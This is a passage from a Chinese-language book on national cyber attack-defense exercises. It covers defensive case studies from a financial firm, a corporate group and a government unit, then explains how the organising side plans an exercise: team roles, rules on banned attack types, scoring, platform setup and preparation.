或者垃圾邮件攻击等,用以过滤出优先级较高(或较低)的攻击事 件,或了解攻击者的背景信息。 5)URL信誉情报:基于URL行业信息、地理位置、在线状态、恶意 网址类别等多维度情报信息,对出站流量进行检测。通过恶意研判和 关联威胁,帮助用户自动化分析来自终端访问互联网业务的URL是否存 在风险,是否被黑产和其他网络攻击团伙使用,及早发现内部可能遭 受攻击的主机,并实时告警,确认是否拦截。 第10章 红队经典防守实例 本章选取了金融单位、集团公司和政府单位三个红队经典防守实 例,从防守思路、重点和职责分工等方面,直观展示了如何实操红队 防守各阶段的工作及防守策略、防护手段,给不同组织和业务场景 下,分阶段、有侧重开展红队防守工作提供最佳实践案例。 10.1 严防死守零失陷:某金融单位防守实例 10.1.1 领导挂帅,高度重视 本实例中红队为某金融单位。应对国家网络安全实战攻防演练工 作不是网络安全部门一个团队的事情,也不单是信息技术部一个部门 的事情,它需要全公司多部门、多组织协同分工、联合作战。为加强 公司应对国家网络安全实战攻防演练工作的组织领导,保障这一工作 的稳步开展,该金融单位召开专门会议,成立了国家网络安全实战攻 防演练工作领导小组。领导小组组长由总裁担任,副组长由IT总监担 任,成员包括总部一级部门的负责人以及各子公司的总经理。 10.1.2 职责明确,全员参战 该金融单位召开了公司全系统的演练工作动员会,签订了网络安 全责任书,落实了安全责任。它成立了安全监测组、分析研判组、应 急处置组、溯源反制组、协调联络组、后勤保障组等有关工作组,并 实行24小时值班制,以实现对各类网络攻击的安全监测、分析研判、 溯源反制和应急处置等。此外,它还要求各子公司、分公司共同开展 安全防守工作,联防联控,每日报送安全监测情况。如发生网络安全 事件或发现网络攻击行为,须通过电话及时报告公司攻防演练工作领 导小组。 10.1.3 全面自查,管控风险 (1)摸清资产,心里有数 摸清资产是开展网络安全防控工作的前提。为此,须全面开展网 络资产排查,梳理实体服务器、虚拟服务器、网络设备、安全设备、 交易类系统、非交易类系统,形成资产台账。 该金融单位同时梳理了交易类系统、非交易类系统的应用组件资 产,并形成应用资产台账。相关人员可通过情报系统实时查看这些资 产,并评估是否存在应用组件层的0day漏洞。 (2)责任到人,落实到位 该金融单位制订了详细的方案计划。通过将方案计划落实到人, 及时更新进度,做到事事有人管。工作计划(部分)如表10-1所示。 表10-1 工作计划(部分) (续表) (3)查缺补漏,心里有底 漏洞修复是开展网络安全防控工作的基础。该金融单位开展了开 源组件扫描、漏洞扫描和渗透测试,建立风险动态管理台账,紧盯问 题一对一整改,问题整改完成率高达90%。通过内部梳理网络基础设施 服务情况,关闭无用端口,切断不必要的访问渠道,梳理网上交易 区、办公区、第三方外连区等网络边界运行状况,有效降低了被突破 的风险。 (4)监控无死角,心里有数 该金融单位除了在互联网网络边界和内网重要边界部署了防火 墙、云防护、应用防火墙等常规安全防护措施外,为避免缺乏网络性 能分析、网络流量溯源分析、横向攻击监测,还部署了全流量威胁感 知系统,接入了网上交易、集中交易、办公网、非核心等区域的流 量,并为服务器安装了主机监控系统,尽可能做到监控无死角,进一 步完善公司的安全防护体系,提升安全防护能力。 (5)攻防预演,有效验证 攻防演练是检验网络安全防护能力的重要手段。攻防演练前,该 金融单位参考攻防演练规则,开展了为期7天的模拟演练。它通过实战 检验安全防护效果和应急处置机制,对存在的不足与问题提前发现、 提前解决,进一步完善了监测、研判、处置等各环节的协同配合能 力,验证了当前网络的安全防御体系。 (6)提升意识,杜绝社工 为了杜绝社会欺骗利用攻击事件,该金融单位采用了管理手段与 技术手段相结合的方式。在管理侧,采用先培训、后考试、再模拟的 方式,对员工进行了两轮防邮件钓鱼培训,并在攻防演练期间跟进情 报搜集的社工手法,对员工进行邮件警惕通知。在技术侧,在备战阶 段深入业务需求,到各部门进行详细调研,整理了办公所需的外连资 源,在防火墙、上网行为管理等方面制定了严格的访问控制策略。除 此之外,还定期组织安全意识培训、安全意识考核,并在各楼层张贴 防钓鱼海报,播放安全意识宣传视频,成功降低了员工被社工钓鱼的 风险。 10.1.4 顽强作战,联防联控 (1)坚守阵地,稳扎稳打 公司攻防演练工作组根据该金融单位的安全防御现状,制定了 “防守为主”的作战方针。设立攻防演练现场指挥部,负责统一指挥 安全监测组、分析研判组、应急处置组、溯源反制组及其他机动力 量。各组按预定战术战法,依次进行全网漏洞扫描动作缄默,监测发 现快速判断快速处置,对事件分级分类,重点溯源,协同联动,跟踪 到底确保闭环,最后每日研判态势并动态调整策略。该金融单位演练 工作组的组织架构如图10-1所示。 图10-1 组织架构图 (2)重点防护 针对核心资产,组建团队进行重点防护和监控。根据演练进展精 准跟踪资产安全状况,及时进行综合研判分析,采取有针对性的措施 进行处置。特别是对参加攻防演练的目标系统部署专人盯护,确保靶 标系统能够安全运行。 (3)联防联控 通过日例会机制,每天总结防守得失,分析研判每日态势,动态 调整防守策略和防守重点,调配机动力量,确保演练目标安全。 1)责任分工清晰。为解决过往编制报告工作分散研判专家过多时 间与精力的问题,单独设置了报告编制岗位,从而充分解放研判专 家,使研判专家能够更加专注于事件分析与技术研判工作,极大地提 高作战效率。 2)监测研判协同。改变过往安全监测人员与分析研判人员无法及 时沟通,导致安全事件信息传递不及时、信息传递有损失的情况。该 金融单位采用内部即时通信工具,按照不同事件类型进行职责分工分 组,达到安全事件信息高效传递、准确研判,并通过威胁运营平台进 行事件上报工作,安全监测人员发现疑似攻击成功事件时,可以直接 反馈给研判专家,由研判专家进行分析,确保每个事件有人跟进,完 成闭环。 3)情报协同。该金融单位建立情报组,积极搜集民间、同行业、 国家监管机构的威胁情报,对搜集的情报信息进行甄别并评估加固工 作,及时对子公司进行通告预警,从而在很大程度上预防未知风险导 致的入侵行为。 10.2 厘清现状保核心:某集团公司防守实例 10.2.1 明确核心,总结经验 本案例中红队为某集团公司,下辖多个二级企业,网络环境庞大 且复杂,可利用的攻击点众多,主要体现在:集团网络和所有二级企 业、外部业务单位互联互通;各二级企业具有各自的互联网出口,且 出口部署有向外部提供服务的应用系统;各级单位还迁移了大量系统 至集团公有云上,防护点分散且复杂。 经过研究,集团决定采取分级防护策略,确认本次演练的防护核 心为集团的目标系统,一级防护系统为集团公有云、关基系统和工控 系统,二级防护为下级企业重点系统和互联网暴露系统,三级防护为 其他一般系统。形成分级防护,争取阵地不失(见图10-2)。 图10-2 分级防护策略图 在确定防护策略后,集团进行了以下工作:首先,充分总结往年 攻防演练时容易出问题的薄弱环节,学习攻击方常用的攻击手段,组 织“网络安全周”活动;其次,梳理监控盲点、隐蔽路径、老旧资 产、口令安全、重点应用和安全设备漏洞等重点薄弱环节,并开展整 体安全加固工作;最后,通过“网络安全周”活动提高所有员工的网 络安全意识。 重点梳理工作如下: ·网络架构梳理(可能的攻击路径有互联网、外连专线、VPN、 物理攻击); ·关基系统、工控系统梳理; ·重要系统确认,重要系统资产梳理; ·所有Web页面、VPN、API、App梳理; ·集权系统梳理; ·全面复测、历史系统漏洞梳理; ·在野托管系统梳理。 10.2.2 合理规划,全面自查 集团总部成立实战攻防演练领导小组,负责整体工作的重大决 策,统一领导和指挥调度。同时成立行动指挥部,负责网络安全保障 的工作部署、监督检查与应急调度。指挥部下设工作组,负责演练的 组织协调、技术支撑等工作。要求各二级单位成立工作小组,并制订 安全防护工作计划,确立工作红线。 整体工作包括筹备、安全检查、评估加固、防护值守和总结五个 阶段,根据组织分工,各岗位分别开展相关工作(见图10-3)。 图10-3 防护工作阶段规划 安全检查阶段是整体防护工作的基础,需要进行全面的风险隐患 识别和治理,主要包括互联网新增资产排查、新增网络链路评估、内 网安全检查、专项安全检查等工作。通过安全检查,集团共发现安全 隐患11类,修复各类应用系统和操作系统、中间件等的中高危漏洞 2650余个,优化安全策略534条,整改弱口令等账户问题940余个。通 过上述措施,集团掌握了自身安全状况,做到对潜在的安全隐患心中 有数,并及时进行修复和加固。 通过互联网暴露信息清查,集团发现了原来未掌握的暴露在互联 网上的网站、邮箱、源代码、文件和社交软件群等,通过及时清查和 处理,很大程度上降低了互联网暴露信息被蓝队利用的风险(见图10- 4)。 10.2.3 纵深防御,全面监控 在安全防护体系方面,依据纵深防御的理念,在集团所有互联网 边界统一接入云WAF安全防护,首先清洗和拦截无效攻击流量。在集团 和下级防护单位边界部署防火墙、WAF等安全防护设备,合理配置安全 策略,形成互联网边界防御纵深。集团内外业务网通过网闸隔离,外 部业务网根据业务实际情况划分和优化安全域,并在各安全域之间通 过防火墙等措施实行严格的访问控制,有效避免跨安全域横向和纵向 渗透攻击。所有服务器和用户终端均部署系统级防护软件,强化最后 一道防线的防护力度。集团云部署云防护软件,防护基于云特性的内 存、逃逸等攻击,形成立体、无死角的安全防护体系。 图10-4  互联网暴露信息清查示例 在各个网络区域均部署流量探针、蜜罐系统,集团云、服务器部 署监控软件。邮件服务器部署防钓鱼软件、沙箱等社工监控软件,实 现纵向、横向的全面安全监控。同时结合集团大数据威胁特征库对监 控流量进行快速、精准、有效的告警,形成全面、精准、无死角的安 全监控系统。 10.2.4 联动处置,及时整改 实战攻防演练期间,防护、监控、研判、应急等小组按照领导小 组的统一部署,坚守各自岗位,持续应对各类攻击。监控小组通过网 络威胁监控、云监控、主机监控、蜜罐等监控系统,对网络、社工和 外部通道开展全天候的安全监测、发现、分析和预警。研判小组对各 类攻击事件快速进行综合研判。应急小组针对发现的问题启动应急处 置流程,快速处置各类攻击事件,消除网络攻击行为。基础保障小组 每天对防护设备、安全监控设备进行规则策略调整和规则库升级。在 防护期间,工作组每天定时召开防守工作例会,各岗位、各单位汇总 和分析当天攻击事件,对攻击手段、封禁IP地址、漏洞隐患、新漏洞 等情况进行通报和处置,形成联防联控机制,只要一点发现问题,就 及时全面整改。领导小组每天总结经验,及时对相应工作进行调整, 为高效应对攻击行为做好保障。通过上述工作,集团整体防护和监控 系统得以安全有效运行。 攻防演练期间,共发现230万余次网络扫描、代码执行、SQL注 入、路径穿越、后门程序连接尝试、目录遍历、敏感信息探测、命令 执行和木马上传等攻击行为,被攻击的对象涉及各级单位的各类应用 系统共133个。 10.3 准备充分迎挑战:某政府单位防守实例 相较于金融企业、互联网企业,政府单位的信息化和网络安全建 设起步相对较晚,信息系统自身的健壮性和网络安全防护能力均有不 足,面临的攻击路径更多,防守面更广,防守压力更大。某政府单位 在参加大型实战攻防演练时,充分分析行业特点和自身情况,总结出 具有自身特点的防守方案。 10.3.1 三项措施,演练前期充分备战 攻防演练的准备阶段对所有防守单位来说是最重要也最基础的阶 段,该阶段工作的执行情况决定了参演单位的最终防守成绩。该阶段 旨在摸清当前单位的整体网络安全现状,找到网络边界和网络内部的 风险,通过一系列风险管理和技术手段,对所有风险实现相对清零。 某政府单位制定了“1个组织,2个机制,3个任务”的三项工作实施措 施(见图10-5),详细说明如下。 图10-5 实战攻防演练准备阶段的工作架构图 1)明确1个组织。经前期评估,明确了清晰的工作组织:分管理 层和执行层,执行层又分安全监测、研判分析、应急处置和溯源取证4 个工作小组,负责实施措施的落实和各安全工作的执行。 2)确定2个机制。没有沟通,就没有管理;没有运营,就无法解 决发现的安全隐患。如果缺少沟通和运营,一系列安全实施措施和行 为就成了只有设想缺乏活力的机械行为。因此,该政府单位在建立工 作组织的同时确定了防守团队的沟通机制和运营机制。 ① 建立沟通机制,旨在让执行层将每天、每周的工作成果和困难 及时与管理层同步,便于管理层整体了解工作进度和困难,并协助解 决困难。为此,最后确定执行层各组成员每天召开收工会,每周向管 理层汇报工作进度、困难和成果。同时,项目组还创建了一线人员工 作即时通信的渠道,方便工作人员之间沟通和同步工作。 ② 建立运营机制,旨在让执行层在检查出风险后,通过管理和技 术手段有效降低风险。同时,运营机制是执行层在正式攻防演练期间 遇到攻击时,预警和传递信息的关键。 项目组确定攻防演练前期建立通过安全排查发现风险,管理层协 助整改、消除风险的工作模式;确定正式攻防演练期间建立“安全监 测组实时监测—分析研判组研判分析—应急处置组立即处置—溯源取 证组取证溯源”的流程机制,实现安全防护工作的闭环。 3)完成3个任务。明确工作组织架构、建立安全工作机制之后, 需要确认3个重要问题:资产是否非常清晰?网络是否做好隔离?风险 是否相对清零? 对应这3个问题,就产生了如下3个任务。 ·建立清晰的资产信息。网络安全工作是围绕网络安全信息资产 展开的,因此,详细、彻底的资产梳理工作是攻防演练项目组最重要 的工作之一。工作人员不断整理,将网络资产、安全资产、业务系统 资产(归类)、人员信息和单位信息录入台账,为后续开展安全检 查、攻防演练预演和正式攻防演练确认了准确的基础信息。 ·进行严格的网络隔离。一是网络出口越多代表暴露面越大,因 此收紧网络出口、进行网络出口割接工作是本次工作的重中之重;二 是对各网络出口边界基础设施做好隔离,如边界负载均衡、防火墙、 WAF、流量监测系统等;三是对应用系统实行网格式隔离。为了实现 网格式隔离,对网络安全配置策略进行细化,开启虚拟化云平台虚拟 工作组策略,启用主机防御的配置策略,尤其对关键业务系统采用更 加严格的安全配置。 ·确保风险相对清零。风险相对清零的前提是找出整体网络中技 术层面和管理层面的各类风险。项目组通过一系列安全检查工作,针 对网络架构、网络设备、应用系统、人员安全意识、管理流程等开展 风险检查,发现并解决了多个风险点。同时根据历年实战攻防演练中 常用的攻击方式,如弱口令、集权系统漏洞、供应链攻击等,成立专 项问题整改组进行重点攻坚;建立并动态维护风险台账,派专人跟踪 问题清零,对于存在高危风险的资产进行下线处理。 10.3.2 三段作战,破解演练防守困境 在演练的正式阶段,将整个演练分成三个阶段,再将每个阶段分 为前后两个阶段。每个阶段,关键指标会有不同的表现。在大型实战 攻防演练中,可以根据安全事件关键指标的变化判断当前所处的阶 段,并采取应对措施。详细的三段作战如图10-6所示。 图10-6 实战攻防演练三段作战图 第一阶段是体力战。在第一阶段的前段会发生相对较多的安全事 件,其中扫描类和工具测试类的告警占比很高,此时攻击队在不断摸 索进攻路径。在第一阶段的后段会发现扫描类的事件有所下降,但是 漏洞类和上传类的事件有所上升,此时攻击队找到了一些可以攻击的 路径并不断开始试探性攻击。此阶段的战术重心是依靠防守人员抵御 外敌,通过监控发现攻击行为,并根据攻击队不断的尝试做出抵御动 作。此阶段主要依靠防守人员监测攻击和处置人员不断阻断攻击源 头,因此称为“体力战”。 第二阶段是心理战。第二阶段代表蓝队突破边界,进入内网。在 第二阶段的前段会出现主机扫描类的事件上升。蓝队在找到路径并尝 试攻击后,将会对目标主机展开猛烈攻击,此时被攻击的主机会产生 大量的告警,并且红队应该更关注主机的告警,针对每一个告警都要 做出及时有效的研判。只要发现并及时处置,不断打断和剔除攻击 者,就会对蓝队的信心造成较大影响,尤其是随着攻防演练时间后 延,剔除蓝队隐藏的攻击源头越多,对其心理打击就越大。在第二阶 段的后段,主机扫描类事件下降,但操作系统和漏洞类安全事件将会 上升。防守队需要保证对每一个告警处置的及时性和有效性。在此阶 段红队和蓝队的心理对抗更加明显,战术重心是剔除内患,因此称为 “心理战”。 第三阶段是死拼战。在第三阶段的前段会出现扫描类、漏洞类、 上传类事件同时攀升。随着攻击和防守进入白热化,更多攻击资源会 在最后阶段集中起来。红队的压力也会达到整个防守阶段的峰值,不 但要及时分辨激增的告警信息,更要从中发现并研判攻击事件,如果 处置不及时或处置有偏差都会带来巨大的影响。在第三阶段的后段, 主机扫描类事件会再次攀升,攻防双方在此决战,拼技术,拼毅力, 不到最后时刻谁都不会放弃。第三阶段的战术重心是严防死守,因此 称为“死拼战”。 防守过程中,还要基于数据的变化来控制整体的防守节奏。通过 及时优化和调整,尽量把蓝队控制在第一阶段,一般第一阶段拖的时 间越长,越会减少红队的压力并带来较好的成绩。第二阶段的前段和 第三阶段的后段是防守的关键阶段,也是能否取得好成绩的关键,这 两段如果部署清晰明确,将会大幅提升整个演练的效果和成绩。 通过此次实战攻防演练中的防守实践,该单位成功保护了目标系 统未被攻破,并取得了优异的防守成绩。经过实战的打磨,不断细化 和完善实战攻防演练的工作方法,增强防守工作方法的执行力度,提 高工作方法的准确性,该单位加强了网络安全实战化防护的整体能 力。 第四部分 紫队视角下的实战攻防演练组 织 紫队作为实战攻防演练的组织方,着眼于演练的整体局势,同时 兼顾着红蓝双方的演练成果与风险。通过制定合理的演练规则与完备 的应急预案,在确保不影响生产的前提下,利用攻防对抗的方式,可 以充分发挥蓝队的攻击技术水平,并充分展现每个参演单位的动态防 御、主动防御、纵深防御、精准防护、整体防护、联防联控的防守能 力;在展现蓝队个人专业技能和团体作战优势的同时,深度检验参演 单位系统的安全现状、应急响应机制的完善性、人员的应急处突能力 等。 下面将从如何高效地组织实战攻防演练(及演练的风险规避措 施)、组织攻防演练的5个阶段、组织沙盘推演的4个阶段三方面进行 介绍。 第11章 如何组织一场实战攻防演练 实战攻防演练通常以实际运行的信息系统作为演练目标,通过有 监督的攻防对抗,最大限度地模拟真实的网络攻击,以检验信息系统 的安全性和运维保障的有效性。演练在保障业务系统安全性的前提 下,明确目标系统,不限制攻击路径,以提权、控制业务、获取数据 为目的。实战攻防演练包含攻击、防守、组织三方,并配备实战攻防 演练平台。组织方负责演练整体工作的组织协调,主要包括以下几部 分:演练组织、演练过程监控、演练技术指导、应急保障、演练总 结、防守技术措施与策略优化建议等。实战攻防演练一般可分为准 备、演练、收尾三个阶段。 11.1 实战攻防演练的组织要素 实战攻防演练的组织要素包括组织单位、技术支撑单位、攻击 队、防守队四部分。 组织单位负责总体把控、资源协调、演练准备、演练组织、演练 总结、落实整改等工作。 技术支撑单位由专业安全公司担任,负责提供对应的技术支撑和 保障,进行攻防对抗演练环境搭建和攻防演练可视化展示。 攻击队一般由多家安全厂商独立组建,每支攻击队一般配备3~5 人。在获得授权的前提下,以资产探查、工具扫描和人工渗透为主进 行渗透攻击,以获取演练目标系统权限和数据。 防守队由来自参演单位、安全厂商等的人员组成,主要负责对防 守队所管辖的资产进行防护,尽可能阻止蓝队拿到权限和数据。 11.2 实战攻防演练的组织形式 从实际需要出发,实战攻防演练的组织形式主要有以下两种。 1)由国家、行业主管部门、监管机构组织的演练。此类演练一般 由各级公安机关、各级网信部门、政府、金融、交通、卫生、教育、 电力、运营商等国家、行业主管部门或监管机构组织开展。针对行业 关键信息基础设施和重要系统,组织攻击队及行业内各企事业单位进 行网络实战攻防演练。 2)大型企事业单位自行组织的演练。金融企业、运营商、行政机 构、事业单位及其他政企单位,针对业务安全防御体系建设有效性的 验证需求,组织攻击队及企事业单位进行实战攻防演练。 11.3 实战攻防演练的组织关键 要保证实战攻防演练顺利实施,关键在于组织工作。关键的组织 工作包括确定演练的范围、周期、场地和设备,组建攻防队伍,制定 规则,录制视频等多方面。 1)演练范围:优先选择重点(非涉密)关键业务系统及网络。 2)演练周期:结合实际业务开展,一般建议1~2周。 3)演练场地:依据演练规模选择相应的场地,要能够容纳组织单 位、攻击队、防守队,且三方场地要分开。 4)演练设备:搭建攻防演练平台、视频监控系统,为攻击方人员 配发专用电脑(或提供虚拟攻击终端)等。 5)攻击队组建:选择参演单位自有人员或聘请第三方安全服务商 专业人员组建。 6)防守队组建:以各参演单位自有安全技术人员为主,以第三方 安全服务商专业人员为辅组建。 7)演练规则制定:演练前明确制定攻击规则、防守规则和评分规 则,保障攻防过程有理有据,避免攻击过程对业务运行造成不必要的 影响。 8)演练视频录制:录制演练全过程的视频,作为演练汇报材料及 网络安全教育素材,内容包括演练工作准备、攻击队攻击过程、防守 队防守过程及裁判组评分过程等。 实战攻防演练前须制定攻防演练约束措施,规避可能出现的风 险,明确提出攻防操作的限定规则,保证攻防演练能够在有限范围内 安全开展。 11.4 实战攻防演练的风险规避措施 (1)演练限定攻击目标系统,不限定攻击路径 演练时,可通过多种路径攻击,不对攻击队所采用的攻击路径进 行限定。在攻击路径中发现安全漏洞和隐患,攻击队应将实施的攻击 及时向演练指挥部报备,不允许对其进行破坏性的操作,避免影响业 务系统正常运行。 (2)除非经授权,演练不允许使用拒绝服务攻击 由于演练在真实环境下开展,为不影响被攻击对象业务的正常开 展,除非经演练主办方授权,演练不允许使用SYN Flood、CC等拒绝服 务攻击手段。 (3)网页篡改攻击方式的说明 演练只针对互联网系统或重要应用的一级或二级页面进行篡改, 以检验防守队的应急响应和侦查、调查能力。演练过程中,攻击队要 围绕攻击目标系统进行攻击渗透,在获取网站控制权限后,需先请示 演练指挥部,获同意后在指定网页张贴特定图片(由演练指挥部下 发)。如目标系统的互联网网站和业务应用防护严密,攻击队可以将 与目标系统关系较为密切的业务应用作为渗透目标。 (4)演练禁止采用的攻击方式 实战攻防演练中的攻防手法也有一些禁区。设置禁区的目的是确 保通过演练发现的信息系统安全问题真实有效。一般来说,禁止采用 的攻击方式主要有三种: 1)禁止通过收买防守队人员进行攻击; 2)禁止通过物理入侵、截断并监听外部光纤等方式进行攻击; 3)禁止采用无线电干扰机等直接影响目标系统运行的攻击方式。 (5)攻击方木马使用要求 木马控制端须使用由演练指挥部统一提供的软件,所使用的木马 应不具有自动删除目标系统文件、损坏引导扇区、主动扩散、感染文 件、造成服务器宕机等破坏性功能。演练禁止使用具有破坏性和感染 性的病毒、蠕虫。 (6)非法攻击阻断及通报 为加强对各攻击队攻击的监测,通过攻防演练平台开展演练全过 程的监督、记录、审计和展现,避免演练影响业务正常运行。演练指 挥部应组织技术支撑单位对攻击全流量进行记录、分析,在发现不合 规攻击行为时阻断非法攻击行为,并转由人工处置,对攻击队进行通 报。 第12章 组织攻防演练的5个阶段 实战攻防演练的组织一般可分为5个阶段。 1)组织策划阶段。此阶段明确演练的最终目标,组织策划演练的 各项工作,形成可落地的实战攻防演练方案,并须得到领导层认可。 2)前期准备阶段。在已确定实施方案的基础上开展资源和人员的 准备,落实人财物。 3)实战攻防演练阶段。此阶段是整个演练的核心,由组织方协调 攻防两方及其他参演单位完成演练工作,包括演练启动、演练过程、 演练保障等。 4)应急演练阶段。针对演练过程中发生的突发事件,由组织方协 调攻防双方完成应急响应工作,及时恢复业务和检验防守队的应急响 应能力与机制。 5)演练总结阶段。先恢复所有业务系统至日常运行状态,再进行 工作成果汇总,为后期整改建设提供依据。 在某些情况下,演练过程还可能会追加第六个阶段,即沙盘推演 阶段。所谓沙盘推演,是实战演练的补充,通过对无法进行实战演练 的关基系统开展模拟推演,评估真实网络攻击可能对政企机构及公共 安全产生的实际影响。 沙盘推演并不是实战攻防演练的必选阶段,其整体策划和组织过 程也分为多个阶段。关于沙盘推演的组织过程,我们将在第13章讲 述。下面对除沙盘推演外的5个阶段进行详细介绍。 12.1 组织策划阶段 实战攻防演练能否成功,组织策划环节非常关键。组织策划阶段 主要从建立演练组织、确定演练目标、制定演练规则、制定评分规 则、确定演练流程、搭建演练平台、采取应急保障措施这七方面进行 合理规划,精心编排,这样才能指导后续演练工作开展。 1. 建立演练组织 为确保攻防演练工作顺利进行,需成立演练领导小组及演练工作 小组,组织架构通常如图12-1所示。 图12-1 演练组织架构示意图 演练指挥小组(指挥部)由组织单位相关部门领导和技术专家共 同组成,负责演练工作的总体指挥和调度。 演练工作小组由演练指挥小组指派专人组成,负责演练工作的具 体实施和保障。下设如下实施小组。 (1)攻击组 攻击组由参演单位及安全厂商攻击人员构成,一般包括攻防渗透 人员、代码审计人员、内网攻防渗透人员等技术人员,负责对演练目 标实施攻击。 (2)防守组 防守组由各个防护单位运维人员和安全运营人员组成,负责监测 演练目标,发现并遏制攻击行为,进行相应处置。 (3)技术支撑组 技术支撑组的职责是在攻防过程中进行整体监控,主要工作为在 攻防过程中进行实时状态监控、阻断处置操作等,保障攻防过程安 全、有序开展。演练组织方,即紫队需要负责演练环境运维,维护演 练IT环境和演练监控平台正常运行。 (4)监督评价组 监督评价组由攻防演练主导单位组织形成,分为专家组和裁判 组,负责在攻防演练过程中巡查各个攻击小组,即蓝队的攻击状态, 监督攻击行为是否符合演练规则,并对攻击效果和攻击成果进行评 价。专家组负责对演练整体方案进行研究,在演练过程中对攻击效果 进行总体把控,对攻击成果进行研判,保障演练安全可控。裁判组负 责在演练过程中对攻击状态和防守状态进行巡查,对攻击队的操作进 行把控,对攻击成果判定相应分数,依据公平、公正原则对参演攻击 队和防守队给予排名。 (5)组织保障组 组织保障组由演练组织方指定工作人员组成,负责演练过程中的 协调联络和后勤保障等事宜,包括演练过程中的应急响应保障、演练 场地保障、视频采集等工作。 2. 确定演练目标 依据实战攻防演练需要达到的演练效果,对参演单位业务和信息 系统全面梳理,由演练组织方选定或由参演单位上报,最终确定演练 目标。通常会首选关键信息基础设施、重要业务系统、门户网站等作 为演练目标。 3. 制定演练规则 为了避免演练过程中攻击队的不当攻击行为对业务系统产生影 响,从而导致演练工作受阻或停滞,应根据参演单位的实际环境对系 统所能承受的攻击方式进行调研,并制订相应的攻击约束方式。针对 攻击队的攻击约束方式包括但不限于以下两类 (1)禁止使用的攻击方式 ·DDoS攻击; ·ARP欺骗攻击、DHCP欺骗; ·域名系统(DNS)劫持攻击; ·感染与自动复制功能病毒; ·多守护进程木马等攻击方式; ·破坏性的物理入侵(例如:通过截断和监听外部光纤进行攻 击); ·通过收买防守队人员进行攻击; ·在约定时间范围之外攻击; ·在约定IP范围之外攻击。 (2)谨慎使用的攻击方式 ·物理攻击(如智能门禁、智能电表); ·通过内网端口大规模扫描; ·获取权限后有侵害的操作; ·修改业务数据; ·内存溢出; ·暴力破解; ·大批量查询。 4. 制定评分规则 为了直观地体现在演练过程中攻防双方的成果,引入攻防双方评 分规则。 攻击队评分规则中,加分项通常包括获取权限类、突破边界类、 获取目标系统权限类、发现演练前已有攻击事件类、漏洞发现类、总 结报告编写质量、沙盘推演环节方案贡献程度等,减分项主要包括违 反演练规则或制度、报告编写质量差、被防守队溯源等。 防守队评分规则中,加分项通常包括监测发现类、分析研判类、 应急处置类、通报预警类、协同联动类、追踪溯源类、0day漏洞的发 现和处置等(为了提升防守单位的防守技术能力,可以适当增加防守 队反击的分类);减分项主要包括违反演练规则或制度以及被攻击方 获取数据、获取权限、突破网络边界、控制目标系统等。 具体评分规则仍须根据演练行业属性、参演目标系统属性等实际 情况进行细化与修订,以达到更准确、更合理地衡量演练成果的作 用。 5. 确定演练流程 实战攻防演练正式开始后的流程一般如图12-2所示。 图12-2 攻防演练流程图 1)确认人员就位:确认攻击组人员以及攻防演练组织方、防守组 人员按要求到位。 2)确认演练环境:攻击组与技术支撑组确认演练现场和演练平台 准备就绪。 3)确认准备工作:防守组确认参演系统备份情况,目标系统正常 并已做好相关备份工作。 4)演练开始:各方确认准备完毕,演练正式开始。 5)攻击组实施攻击:攻击组对目标系统开展网络攻击,记录攻击 过程和成果证据。 6)防守组监测攻击:防守组可利用安全设备对网络攻击进行监 测,对发现的攻击行为进行分析和确认,并详细记录监测数据。 7)提交攻防成果:演练过程中,蓝队人员发现可利用安全漏洞, 将获取的权限和成果截图保存,通过平台进行提交。 8)漏洞确认及研判:监督评价组确认提交的漏洞的真实性,并根 据演练计分规则评分。 9)攻击结束:在演练规定时间外,攻击组人员停止对目标系统的 攻击。 10)成果总结:演练工作组协调各参演小组,对演练中产生的成 果、问题、数据进行汇总,输出演练总结报告。 11)资源回收:由演练工作组负责对各类设备、网络资源进行回 收,同时对相关演练数据进行回收处理,并监督攻击组人员清除在演 练过程中使用的木马、脚本等数据。 12)演练结束:对所有目标攻击结束后,工作小组还需要进行内 部总结汇报,之后演练结束。 6. 搭建演练平台 为了保证演练过程安全可靠,需搭建攻防演练平台,演练平台可 为攻击人员提供攻击IP、反弹回连虚拟机、虚拟网络分组。攻击队通 过平台进行实时攻击和成果提交,防守队通过平台进行防守成果上 报,保障所有操作可追溯、可审计,尽可能地降低演练所产生的风 险。 7. 采取应急保障措施 指攻防演练中发生不可控突发事件,导致演练过程中断、终止 时,需要采取应急保障措施。需要预先对可能发生的紧急事件(如断 电、断网、业务停顿等)制订临时处置安排措施。攻防演练中一旦参 演系统出现问题,防守队应采取临时处置安排措施,及时向指挥部报 告,由指挥部通知攻击队第一时间停止攻击。指挥部应组织攻防双方 制订攻击演练应急预案,具体应急响应预案在演练实施方案中完善。 12.2 前期准备阶段 要保证实战攻防演练顺利、高效开展,必须提前做好两项准备工 作:一是资源准备,涉及演练场地、演练平台、演练人员专用电脑、 视频监控、演练备案、演练授权、保密协议及规则制定等;二是人员 准备,包括攻击队、防守队的人员选拔与审核,队伍组建等。 1. 资源准备 1)演练场地布置:演练展示大屏、办公桌椅、攻击队网络搭建、 演练会场布置等。 2)演练平台搭建:完成攻防平台开通、攻击队账户开通、IP分 配、防守队账户开通,做好平台运行保障工作。 3)演练人员专用电脑:为演练人员配备专用电脑,安装安全监控 软件、防病毒软件、录屏软件等,做好事件回溯机制。 4)视频监控部署:部署攻防演练场地办公环境监控,做好物理环 境监控保障。 5)演练备案:演练组织方向上级主管单位及监管机构(公安、网 信等)进行演练备案。 6)演练授权:演练组织方向攻击队和平台提供方进行正式授权, 确保演练工作在授权范围内有序进行。 7)保密协议:与参与演练工作的第三方人员签署相关保密协议, 确保信息安全。 8)攻击规则制定:攻击规则包括攻击队接入方式、攻击时间、攻 击范围、特定攻击事件报备等,明确禁止使用的攻击行为,如导致业 务瘫痪、信息篡改、信息泄露、潜伏控制等的动作。防守规则包括防 守时间、防守范围及明确禁止的防守行为,如直接断网下线、长时间 或大范围封禁攻击IP等。 9)评分规则制定:依据攻击规则和防守规则制定评分规则。例 如,防守队评分规则包括发现类、消除类、应急处置类、追踪溯源 类、演练总结类加分项及减分项等,攻击队评分规则包括目标系统、 集权类系统、账户信息、关键信息系统加分项及减分项等。 2. 人员准备 1)蓝队:组建攻击队,确定攻击队数量,建议每队参与人员为3 ~5人,对人员进行技术能力、背景等方面的审核;确定攻击队负责人 并构建攻击队组织架构,签订保密协议;向攻击人员宣贯攻击规则及 演练相关要求。 2)红队:组建防守队,确定是全部采用本组织人员作为防守人员 还是请第三方人员加入;对人员进行技术能力、背景等方面的审核, 确定防守方负责人并构建防守方组织架构;与第三方人员签署保密协 议,向防守人员宣贯防守规则及演练相关要求。 12.3 实战攻防演练阶段 1. 演练启动 演练组织方组织相关单位召开启动会议,部署实战攻防演练工 